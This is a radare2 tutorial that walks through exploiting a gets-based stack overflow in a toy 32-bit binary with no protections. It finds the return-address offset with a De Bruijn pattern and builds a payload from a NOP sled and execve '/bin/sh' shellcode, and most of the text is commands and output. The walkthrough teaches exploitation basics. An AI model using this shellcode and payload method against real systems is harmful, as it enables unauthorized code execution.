Tutorial 4 - Simple Exploit
Let's try to exploit the simplest binary imaginable.
r2 -Ad ./hackme
First, let's check if any security mechanisms are used.
[0xf7704d00]> iI~canary,nx,pic
pic false
canary false
nx false
We're in luck! Let's see what the binary does.
╒ (fcn) sym.main 36
│ ; arg int arg_4h @ esp+0x4
│ ; DATA XREF from 0x08048317 (entry0)
│ 0x08048412 8d4c2404 lea ecx, [esp + arg_4h] ; 0x4 ; 4
│ 0x08048416 83e4f0 and esp, 0xfffffff0
│ 0x08048419 ff71fc push dword [ecx - 4]
│ 0x0804841c 55 push ebp
│ 0x0804841d 89e5 mov ebp, esp
│ 0x0804841f 51 push ecx
│ 0x08048420 83ec04 sub esp, 4
│ 0x08048423 e8d3ffffff call sym.play
│ 0x08048428 b800000000 mov eax, 0
│ 0x0804842d 83c404 add esp, 4
│ 0x08048430 59 pop ecx
│ 0x08048431 5d pop ebp
│ 0x08048432 8d61fc lea esp, [ecx - 4]
╘ 0x08048435 c3 ret
main seems to call play and nothing else. Let's see what the play function does.
[0x08048412]> pdf @ sym.play
╒ (fcn) sym.play 23
│ ; var int local_48h @ ebp-0x48
│ ; CALL XREF from 0x08048423 (sym.main)
│ 0x080483fb 55 push ebp
│ 0x080483fc 89e5 mov ebp, esp
│ 0x080483fe 83ec48 sub esp, 0x48
│ 0x08048401 83ec0c sub esp, 0xc
│ 0x08048404 8d45b8 lea eax, [ebp - local_48h]
│ 0x08048407 50 push eax
│ 0x08048408 e8c3feffff call sym.imp.gets
│ 0x0804840d 83c410 add esp, 0x10
│ 0x08048410 c9 leave
╘ 0x08048411 c3 ret
play calls gets, which is a very unsafe function.
Let's add a breakpoint right after gets returns, at 0x0804840d
, and then continue the execution.
[0x08048412]> db 0x0804840d
[0x08048412]> db
0x0804840d - 0x0804840e 1 --x sw break enabled cmd="" name="0x0804840d" module=""
[0x08048412]> dc
1234
hit breakpoint at: 804840d
attach 3680 1
[0x0804840d]>
We've given the program some bogus input, but we can change that. We can see that both eax and the stack contain our buffer.
[0x0804840d]> drr~eax
oeax 0xffffffff oeax
eax 0xffe38b90 eax stack R W X 'xor dword [edx], esi' '[stack]' (1234)
edx 0xf76e2884 (unk1) edx R W X 'add byte [eax], al' 'unk1'
[0x0804840d]> pxr @ esp!4
0xffe38b80 0xffe38b90 .... eax stack R W X 'xor dword [edx], esi' '[stack]' (1234)
We can overwrite eax with a De Bruijn pattern to simulate as if that was fed into stdin.
[0x0804840d]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr] Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopO value Finds the given value into a De Bruijn Pattern at current offset
[0x0804840d]> wopD 100 @ eax
[0x0804840d]> ps @ eax
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[0x0804840d]>
Now we can continue execution and hope for the best.
[0x0804840d]> dc
hit breakpoint at: 8048410
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[+] signal 11 aka SIGSEGV received 0
Ah, yes, the program crashed because the return address on the stack has been overwritten. But at what offset relative to the start of the input buffer?
[0x41614141]> wopO $$
77
Note: $$ signifies the current seek; quite handy in plenty of cases.
77 is a suspicious offset. That's because endianess needs to be taken into account.
[0x41614141]> wopO 0x41416141
76
Now we can begin to think about an input which would spawn a shell for us. We are going to need a shellcode. We can write our own in assembly or a tiny file which we can pass to ragg2, but radare2 already comes packed with a 32 bit shellcode that we can use.
[0x41614141]> g?
|Usage: g[wcilper] [arg]Go compile shellcodes
| g foo.r Compile r_egg source file
| gw Compile and write
| gc cmd=/bin/ls Set config option for shellcodes and encoders
| gc List all config options
| gl List plugins (shellcodes, encoders)
| gs name args Compile syscall name(args)
| gi exec Compile shellcode. like ragg2 -i
| gp padding Define padding for command
| ge xor Specify an encoder
| gr Reset r_egg
| EVAL VARS: asm.arch, asm.bits, asm.os
[0x41614141]> gi exec
[0x41614141]> g
31c050682f2f7368682f62696e89e3505389e199b00bcd80
[0x41614141]> wx `g` @ eax
[0x41614141]> pd 11 @ eax
;-- eax:
0xffce54c0 31c0 xor eax, eax
0xffce54c2 50 push eax
0xffce54c3 682f2f7368 push 0x68732f2f
0xffce54c8 682f62696e push 0x6e69622f
0xffce54cd 89e3 mov ebx, esp
0xffce54cf 50 push eax
0xffce54d0 53 push ebx
0xffce54d1 89e1 mov ecx, esp
0xffce54d3 99 cdq
0xffce54d4 b00b mov al, 0xb ; 11
0xffce54d6 cd80 int 0x80
[0x41614141]>
Excellent! Our shellcode is now in eax. All that's left is to set the overwritten return address to point to the stack. Rerun the program and stop at the ret
instruction, write the shellcode at eax
and write the stack address at offset 76.
[0x0804840d]> wx `g` @ eax
[0x0804840d]> wx 40caacff @ eax+76
[0x0804840d]> pxr @ esp!4
0xffacca8c 0xffacca40 @... eax stack R W X 'xor eax, eax' '[stack]'
We can now see that the first value on the stack (the return address) points to our shellcode.
Of course, generating a static payload will not work, since stack addresses are randomized. Since we don't have enough space in our buffer before it reaches and overwrites the return address, we could simply continue to read into our buffer and create a giant nop sled to our shellcode.
Let's write our payload, step by step.
We'll begin by writing 76 'A's until reaching the return address. Then we'll write a stack address. After that, we change the block size to a large value, like 0x1000 and write one full block of NOPs, and finally we write our shellcode.
[0x0804840d]> wb 41 @ eax!76
[0x0804840d]> wx 900ea0ff @ eax+76
[0x0804840d]> b 0x1000
[0x0804840d]> wb 90 @ eax+80
[0x0804840d]> wx `g` @ eax+80+0x1000
Now we can dump this payload in python format into a file.
[0x0804840d]> pcp 80+0x1000+24 @ eax > gen.py
Edit the file accordingly, appending:
with open('payload', 'wb') as f:
f.write(buf)
Then we can generate our payload and feed it to our binary. If you don't succeed after several attempts, try increasing the NOP block size.
Have fun!